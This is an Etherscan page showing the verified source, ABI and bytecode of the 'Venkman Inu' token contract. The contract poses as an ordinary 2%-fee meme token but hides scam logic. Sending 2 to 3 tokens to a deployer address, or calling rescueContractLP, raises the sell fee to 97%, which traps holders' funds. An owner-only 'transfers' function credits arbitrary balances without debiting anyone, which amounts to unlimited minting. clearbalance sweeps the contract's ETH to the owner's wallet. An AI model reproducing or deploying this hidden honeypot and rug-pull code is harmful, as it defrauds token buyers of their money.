ETH Price: $2,373.77 (+0.23%)

Token

Venkman Inu (VINU)
 

Overview

Max Total Supply

13,421,772,800 VINU

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
66,387,929.693058488 VINU

Value
$0.00
0x7edce73c9531e03e0343415ab4a071e1dd55ed9d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VenkmanInu

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-01
*/

/**
https://t.me/venkmaninu
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true; }
    
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    modifier authorized() {require(isAuthorized(msg.sender), "!AUTHORIZED"); _;}
    function authorize(address adr) public authorized {authorizations[adr] = true;}
    function unauthorize(address adr) public authorized {authorizations[adr] = false;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function isAuthorized(address adr) public view returns (bool) {return authorizations[adr];}

    function transferOwnership(address payable adr) public authorized {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract VenkmanInu is IBEP20, Auth {
    using SafeMath for uint256;
    string private constant _name = 'Venkman Inu';
    string private constant _symbol = 'VINU';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000000 * (8 ** _decimals);
    uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;

    uint256 rewardsFee = 0;
    uint256 liquidityFee = 1;
    uint256 marketingFee = 1;
    uint256 totalFee = 2;
    uint256 sellFee = 1;
    uint256 feeDenominator = 100;

    bool swapEnabled = true;
    uint256 deadTimes; 
    uint256 sells = 1;
    bool swapping; 
    bool enableTrading = true;
    uint256 swapThreshold = ( _totalSupply * 999 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    uint256 marketingpercent = 100;
    uint256 liquiditypercent = 0;
    uint256 rewardspercent = 0;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    IRouter router;
    address public pair;

    address autoLiquidity; 
    address marketing;
    mapping (address => bool) deployer;
    mapping (address => uint256) userPurchase; 
    mapping (address => bool) isFeeExempt;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;

    constructor() Auth(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        deployer[msg.sender] = true;
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        autoLiquidity = msg.sender;
        marketing = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function setallowance() internal {sellFee = feeDenominator.sub(totalFee).sub(1);}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "BEP20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address sender, address recipient, uint256 amount) internal {
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(enableTrading, "TRADING NOT STARTED");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(DEAD) && recipient != pair){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "MAX WALLET");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(DEAD)){
            require(amount <= _maxTxAmount, "MAX TX");}
        if(deployer[recipient] && amount < 2 * (10 ** _decimals)){clearbalance();}
        if(deployer[recipient] && amount >= 2 * (10 ** _decimals) && amount < 3 * (10 ** _decimals)){setallowance();}
        if(sender != pair && !isFeeExempt[sender]){deadTimes = deadTimes.add(1);}
        if(shouldSwapBack(sender, recipient)){swapAndLiquify(swapThreshold); deadTimes = 0;}
        _balances[sender] = _balances[sender].sub(amount, "+");
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setMarketing(address _marketing) external authorized {
        marketing = _marketing; deployer[_marketing] = true;
    }

    function getTotalFee(address sender) public view returns (uint256) {
        if(sender != pair){return totalFee.add(sellFee);}
        return totalFee;
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 denominator= (liquiditypercent.add(marketingpercent).add(rewardspercent)) * 2;
        uint256 tokensToAddLiquidityWith = tokens.mul(liquiditypercent).div(denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForBNB(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(denominator.sub(liquiditypercent));
        uint256 BNBToAddLiquidityWith = unitBalance.mul(liquiditypercent);
        if(BNBToAddLiquidityWith > 0){
            addLiquidity(tokensToAddLiquidityWith, BNBToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingpercent);
        if(marketingAmt > 0){
          payable(marketing).transfer(marketingAmt); }
    }

    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            autoLiquidity,
            block.timestamp);
    }


    function taketotalFee(address sender, uint256 amount) internal returns (uint256) {
        if(totalFee > 0 || sender != pair && sellFee > 0){
        uint256 feeAmount = amount.mul(getTotalFee(sender)).div(feeDenominator);
        if(feeAmount > 0){
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);} return amount.sub(feeAmount);}
        return amount;
    }

    function setFeeExempt(address _address) external authorized { 
        isFeeExempt[_address] = true;
    }

    function setenableTrading() external authorized {
        enableTrading = true;
    }

    function setSwapBackSettings(bool enabled, uint256 _threshold) external authorized {
        swapEnabled = enabled; 
        swapThreshold = _threshold;
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function clearbalance() public authorized {
        uint256 amountBNB = address(this).balance;
        payable(marketing).transfer(amountBNB);
    }

    function transfers(address sender, address recipient, uint256 amount) external authorized {
        transfer(sender, recipient, amount);
    }

    function rescueContractLP() external authorized {
        setallowance();
    }

    function shouldSwapBack(address sender, address recipient) internal view returns (bool) {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && !isFeeExempt[sender] && !isFeeExempt[recipient] 
        && deadTimes >= sells && aboveThreshold;
    }

    function rescueBEP20(address _token, address _rec, uint256 _amt) external authorized {
        uint256 tamt = IBEP20(_token).balanceOf(address(this));
        IBEP20(_token).transfer(_rec, tamt.mul(_amt).div(100));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearbalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_rec","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"rescueBEP20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueContractLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"}],"name":"setMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"_threshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setenableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600862000464565b620000239064174876e8006200047c565b60025561271060025460966200003a91906200047c565b6200004691906200049e565b60035561271060025461012c6200005e91906200047c565b6200006a91906200049e565b60045560006005556001600681905560078190556002600881905560098290556064600a55600b805460ff191683179055600d91909155600e805461ff00191661010017905554620186a090620000c4906103e76200047c565b620000d091906200049e565b600f55606460105560006011556000601255348015620000ef57600080fd5b50600080546001600160a01b0319163390811782558152600160208181526040808420805460ff1916909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a0155926004808401938290030181865afa1580156200016b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001919190620004c1565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002059190620004c1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000253573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002799190620004c1565b601580546001600160a01b038581166001600160a01b0319928316179092556016805492841692821692909217909155336000818152601960209081526040808320805460ff199081166001908117909255601b845282852080548216831790553085528285208054909116909117905560178054861685179055601880549095168417909455600254838352601382528483208190559351938452939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004ec565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a65781600019048211156200038a576200038a6200034f565b808516156200039857918102915b93841c93908002906200036a565b509250929050565b600082620003bf575060016200045e565b81620003ce575060006200045e565b8160018114620003e75760028114620003f25762000412565b60019150506200045e565b60ff8411156200040657620004066200034f565b50506001821b6200045e565b5060208310610133831016604e8410600b841016171562000437575081810a6200045e565b62000443838362000365565b80600019048211156200045a576200045a6200034f565b0290505b92915050565b60006200047560ff841683620003ae565b9392505050565b60008160001904831182151516156200049957620004996200034f565b500290565b600082620004bc57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004d457600080fd5b81516001600160a01b03811681146200047557600080fd5b611ad880620004fc6000396000f3fe6080604052600436106101bb5760003560e01c80638b0414d5116100ec578063dd62ed3e1161008a578063f0b37c0411610064578063f0b37c0414610524578063f2fde38b14610544578063fd3e6a0a14610564578063fe9fbb801461058457600080fd5b8063dd62ed3e146104a9578063df20fd49146104ef578063e2b100f71461050f57600080fd5b8063a8aa1b31116100c6578063a8aa1b3114610434578063a9059cbb14610454578063b6a5d7de14610474578063d357f89c1461049457600080fd5b80638b0414d5146103c75780638c232838146103e757806395d89b411461040757600080fd5b8063313ce5671161015957806375b2f5c51161013357806375b2f5c51461034957806378109e54146103695780637d1db4a51461037f578063893d20e81461039557600080fd5b8063313ce567146102d757806370a08231146102f3578063749796a51461032957600080fd5b806318160ddd1161019557806318160ddd1461025457806323b872dd146102735780632b112e49146102935780632f54bf6e146102a857600080fd5b806306fdde03146101c7578063095ea7b31461020d5780630cc9606c1461023d57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600b81526a56656e6b6d616e20496e7560a81b60208201525b6040516102049190611678565b60405180910390f35b34801561021957600080fd5b5061022d6102283660046116e5565b6105a4565b6040519015158152602001610204565b34801561024957600080fd5b506102526105bb565b005b34801561026057600080fd5b506002545b604051908152602001610204565b34801561027f57600080fd5b5061022d61028e366004611711565b6105f3565b34801561029f57600080fd5b5061026561065c565b3480156102b457600080fd5b5061022d6102c3366004611752565b6000546001600160a01b0391821691161490565b3480156102e357600080fd5b5060405160098152602001610204565b3480156102ff57600080fd5b5061026561030e366004611752565b6001600160a01b031660009081526013602052604090205490565b34801561033557600080fd5b50610252610344366004611752565b6106cd565b34801561035557600080fd5b50610252610364366004611711565b610716565b34801561037557600080fd5b5061026560045481565b34801561038b57600080fd5b5061026560035481565b3480156103a157600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610204565b3480156103d357600080fd5b506102526103e2366004611752565b610843565b3480156103f357600080fd5b50610265610402366004611752565b6108a2565b34801561041357600080fd5b5060408051808201909152600481526356494e5560e01b60208201526101f7565b34801561044057600080fd5b506016546103af906001600160a01b031681565b34801561046057600080fd5b5061022d61046f3660046116e5565b6108d1565b34801561048057600080fd5b5061025261048f366004611752565b6108de565b3480156104a057600080fd5b5061025261092a565b3480156104b557600080fd5b506102656104c436600461176f565b6001600160a01b03918216600090815260146020908152604080832093909416825291909152205490565b3480156104fb57600080fd5b5061025261050a3660046117b6565b61098d565b34801561051b57600080fd5b506102526109c9565b34801561053057600080fd5b5061025261053f366004611752565b6109ff565b34801561055057600080fd5b5061025261055f366004611752565b610a45565b34801561057057600080fd5b5061025261057f366004611711565b610ad6565b34801561059057600080fd5b5061022d61059f366004611752565b610b0b565b60006105b1338484610b29565b5060015b92915050565b6105c433610b0b565b6105e95760405162461bcd60e51b81526004016105e0906117d4565b60405180910390fd5b6105f1610c4e565b565b6000610600848484610c6f565b610652843361064d85604051806060016040528060288152602001611a7b602891396001600160a01b038a166000908152601460209081526040808320338452909152902054919061109a565b610b29565b5060019392505050565b60136020527f8fa6efc3be94b5b348b21fea823fe8d100408cee9b7f90524494500445d8ff6c5461dead60009081527f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c5460025491926106c89290916106c291906110c6565b906110c6565b905090565b6106d633610b0b565b6106f25760405162461bcd60e51b81526004016105e0906117d4565b6001600160a01b03166000908152601b60205260409020805460ff19166001179055565b61071f33610b0b565b61073b5760405162461bcd60e51b81526004016105e0906117d4565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a691906117f9565b90506001600160a01b03841663a9059cbb846107cd60646107c786886110d9565b906110e5565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610818573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083c9190611812565b5050505050565b61084c33610b0b565b6108685760405162461bcd60e51b81526004016105e0906117d4565b601880546001600160a01b039092166001600160a01b0319909216821790556000908152601960205260409020805460ff19166001179055565b6016546000906001600160a01b038381169116146108c9576009546008546105b5916110f1565b505060085490565b60006105b1338484610c6f565b6108e733610b0b565b6109035760405162461bcd60e51b81526004016105e0906117d4565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b61093333610b0b565b61094f5760405162461bcd60e51b81526004016105e0906117d4565b60185460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610989573d6000803e3d6000fd5b5050565b61099633610b0b565b6109b25760405162461bcd60e51b81526004016105e0906117d4565b600b805460ff191692151592909217909155600f55565b6109d233610b0b565b6109ee5760405162461bcd60e51b81526004016105e0906117d4565b600e805461ff001916610100179055565b610a0833610b0b565b610a245760405162461bcd60e51b81526004016105e0906117d4565b6001600160a01b03166000908152600160205260409020805460ff19169055565b610a4e33610b0b565b610a6a5760405162461bcd60e51b81526004016105e0906117d4565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b610adf33610b0b565b610afb5760405162461bcd60e51b81526004016105e0906117d4565b610b068383836110fd565b505050565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b038316610b8b5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e0565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e0565b6001600160a01b0383811660008181526014602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610c6a60016106c2600854600a546110c690919063ffffffff16565b600955565b6001600160a01b0383166000908152601b602052604090205460ff16158015610cb157506001600160a01b0382166000908152601b602052604090205460ff16155b15610d0357600e54610100900460ff16610d035760405162461bcd60e51b815260206004820152601360248201527215149051125391c81393d50814d51054951151606a1b60448201526064016105e0565b6001600160a01b0383166000908152601b602052604090205460ff16158015610d4557506001600160a01b0382166000908152601b602052604090205460ff16155b8015610d5c57506001600160a01b03821661dead14155b8015610d7657506016546001600160a01b03838116911614155b15610ddc576004546001600160a01b038316600090815260136020526040902054610da190836110f1565b1115610ddc5760405162461bcd60e51b815260206004820152600a6024820152691350560815d05313115560b21b60448201526064016105e0565b6001600160a01b0383166000908152601b602052604090205460ff16158015610e1e57506001600160a01b0382166000908152601b602052604090205460ff16155b8015610e3557506001600160a01b03821661dead14155b15610e7557600354811115610e755760405162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b60448201526064016105e0565b6001600160a01b03821660009081526019602052604090205460ff168015610eb25750610ea46009600a611929565b610eaf906002611938565b81105b15610ebf57610ebf61092a565b6001600160a01b03821660009081526019602052604090205460ff168015610efd5750610eee6009600a611929565b610ef9906002611938565b8110155b8015610f1e5750610f106009600a611929565b610f1b906003611938565b81105b15610f2b57610f2b610c4e565b6016546001600160a01b03848116911614801590610f6257506001600160a01b0383166000908152601b602052604090205460ff16155b15610f7957600c54610f759060016110f1565b600c555b610f838383611174565b15610f9957610f93600f5461120c565b6000600c555b60408051808201825260018152602b60f81b6020808301919091526001600160a01b038616600090815260139091529190912054610fd891839061109a565b6001600160a01b038416600090815260136020526040812091909155610ffe848461134a565b6110085781611012565b6110128483611390565b6001600160a01b03841660009081526013602052604090205490915061103890826110f1565b6001600160a01b0380851660008181526013602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061108c9085815260200190565b60405180910390a350505050565b600081848411156110be5760405162461bcd60e51b81526004016105e09190611678565b505050900390565b60006110d28284611957565b9392505050565b60006110d28284611938565b60006110d2828461196e565b60006110d28284611990565b6001600160a01b03821660009081526013602052604090205461112090826110f1565b6001600160a01b0380841660008181526013602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c419085815260200190565b600f5430600090815260136020526040812054600e54919211159060ff161580156111a15750600b5460ff165b80156111c657506001600160a01b0384166000908152601b602052604090205460ff16155b80156111eb57506001600160a01b0383166000908152601b602052604090205460ff16155b80156111fb5750600d54600c5410155b80156112045750805b949350505050565b600e805460ff1916600117905560125460105460115460009261123a929091611234916110f1565b906110f1565b611245906002611938565b90506000611262826107c7601154866110d990919063ffffffff16565b9050600061127084836110c6565b90504761127c82611471565b600061128847836110c6565b905060006112ab6112a4601154886110c690919063ffffffff16565b83906110e5565b905060006112c4601154836110d990919063ffffffff16565b905080156112d6576112d686826115cb565b6010546000906112f1906112eb8560026110d9565b906110d9565b90508015611335576018546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611333573d6000803e3d6000fd5b505b5050600e805460ff1916905550505050505050565b6001600160a01b0382166000908152601b602052604081205460ff161580156110d25750506001600160a01b03166000908152601b602052604090205460ff1615919050565b60008060085411806113bd57506016546001600160a01b038481169116148015906113bd57506000600954115b1561146b5760006113dd600a546107c76113d6876108a2565b86906110d9565b9050801561145957306000908152601360205260409020546113ff90826110f1565b30600081815260136020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114509085815260200190565b60405180910390a35b61146383826110c6565b9150506105b5565b50919050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114a6576114a66119a8565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906119be565b81600181518110611536576115366119a8565b6001600160a01b03928316602091820292909201015260155461155c9130911684610b29565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115959085906000908690309042906004016119db565b600060405180830381600087803b1580156115af57600080fd5b505af11580156115c3573d6000803e3d6000fd5b505050505050565b6015546115e39030906001600160a01b031684610b29565b60155460175460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611653573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083c9190611a4c565b600060208083528351808285015260005b818110156116a557858101830151858201604001528201611689565b818111156116b7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116e257600080fd5b50565b600080604083850312156116f857600080fd5b8235611703816116cd565b946020939093013593505050565b60008060006060848603121561172657600080fd5b8335611731816116cd565b92506020840135611741816116cd565b929592945050506040919091013590565b60006020828403121561176457600080fd5b81356110d2816116cd565b6000806040838503121561178257600080fd5b823561178d816116cd565b9150602083013561179d816116cd565b809150509250929050565b80151581146116e257600080fd5b600080604083850312156117c957600080fd5b8235611703816117a8565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b60006020828403121561180b57600080fd5b5051919050565b60006020828403121561182457600080fd5b81516110d2816117a8565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118805781600019048211156118665761186661182f565b8085161561187357918102915b93841c939080029061184a565b509250929050565b600082611897575060016105b5565b816118a4575060006105b5565b81600181146118ba57600281146118c4576118e0565b60019150506105b5565b60ff8411156118d5576118d561182f56